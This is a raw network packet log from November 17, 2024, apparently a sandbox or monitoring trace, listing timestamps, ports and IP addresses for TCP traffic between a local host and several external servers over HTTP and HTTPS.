Nov 17, 2024 03:42:41.570229053 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.570255041 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.570305109 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.570322037 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.570347071 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.570363998 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.605793953 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605814934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605827093 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605869055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605874062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.605879068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605897903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605915070 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.605925083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605933905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.605937958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605948925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.605972052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.606000900 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.606132030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.606144905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.606156111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.606182098 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.606209040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646023035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646047115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646064043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646075964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646086931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646097898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646100044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646136999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646157980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646200895 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646226883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646238089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646316051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646317005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646328926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646339893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646354914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646361113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646372080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646398067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646419048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646574974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646612883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646625996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646637917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646670103 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646683931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646696091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646707058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646718979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.646733999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646745920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.646773100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.683471918 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:41.683686972 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:41.683815956 CET	49885	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:41.686141968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686160088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686178923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686187983 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686197042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686208963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686218023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686222076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686233044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686255932 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686271906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686422110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686433077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686443090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686492920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686492920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686505079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686537027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686559916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686569929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686594963 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686618090 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686702013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686737061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686748981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686760902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686779976 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686796904 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686813116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686822891 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.686862946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.686877012 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.687077999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687088966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687112093 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687123060 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687128067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.687128067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.687134981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687151909 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.687177896 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.687365055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687376976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687387943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687398911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687408924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.687410116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.687443972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.687628984 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.687658072 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.687694073 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.687711000 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.687733889 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.687747002 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.695430040 CET	49885	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:41.695462942 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:41.697592020 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.698890924 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.698910952 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.699331045 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.699345112 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.724817991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.724855900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.724910975 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.724935055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.724947929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.724960089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.724971056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.724977970 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.724982023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.725003958 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.725027084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.725054979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.725064039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.725085974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.725096941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.725123882 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.725125074 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.725136995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.725169897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.727025986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.727035999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.727073908 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.731148958 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.731218100 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.731609106 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.731693029 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.731743097 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.734832048 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.734848976 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.743691921 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.765002012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765037060 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765048027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765067101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765069962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765078068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765089035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765098095 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765125990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765199900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765211105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765221119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765238047 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765265942 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765345097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765356064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765367031 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765394926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765410900 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765465975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765480995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765491962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765516043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765516996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765526056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765537024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765541077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765568018 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765847921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765858889 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765868902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765896082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765898943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765908957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765914917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765921116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.765947104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.765969038 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.796705961 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.800865889 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.800885916 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.801800966 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.801811934 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.805048943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805058956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805068970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805080891 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805090904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805107117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805120945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805151939 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805285931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805296898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805306911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805346012 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805389881 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805437088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805447102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805457115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805469990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805496931 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805649996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805660963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805672884 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805682898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805697918 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805710077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805737972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805828094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805917025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805927038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805937052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805948019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805959940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.805964947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805980921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805990934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.805995941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.806015968 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.806324959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.806335926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.806348085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.806359053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.806375980 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.806391954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.806396008 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.806406021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.806417942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.806427956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.806447029 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.806458950 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.825496912 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.825573921 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.825813055 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.826303959 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.826303959 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.826335907 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.826349974 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.831290007 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.831346989 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.831490993 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.832423925 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.832442045 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.843693972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843707085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843719006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843759060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.843769073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843791962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.843806982 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843812943 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.843816996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843842983 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.843873024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843890905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843900919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.843925953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.843936920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.844468117 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.844757080 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.844784975 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.845236063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.845246077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.845246077 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.845292091 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.845626116 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.845702887 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.845938921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.845951080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.845961094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.845987082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.846014023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.846132994 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.854522943 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.854792118 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.854815006 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.856424093 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.856491089 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.857543945 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.857636929 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.857801914 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.858006001 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.858242989 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.858262062 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.859456062 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.859776974 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.859951973 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.859955072 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.883836985 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.883857012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.883868933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.883909941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.883945942 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.883949041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.883960962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.883974075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.883985996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.883997917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884016037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884016991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884027958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884038925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884073019 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884176970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884231091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884267092 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884268045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884305000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884321928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884334087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884341002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884356022 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884382010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884525061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884536982 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884547949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884588003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884649992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884661913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884671926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884711981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884727001 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884774923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884793997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884804964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884818077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884843111 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884865999 CET	49797	80	192.168.2.5	185.215.113.206
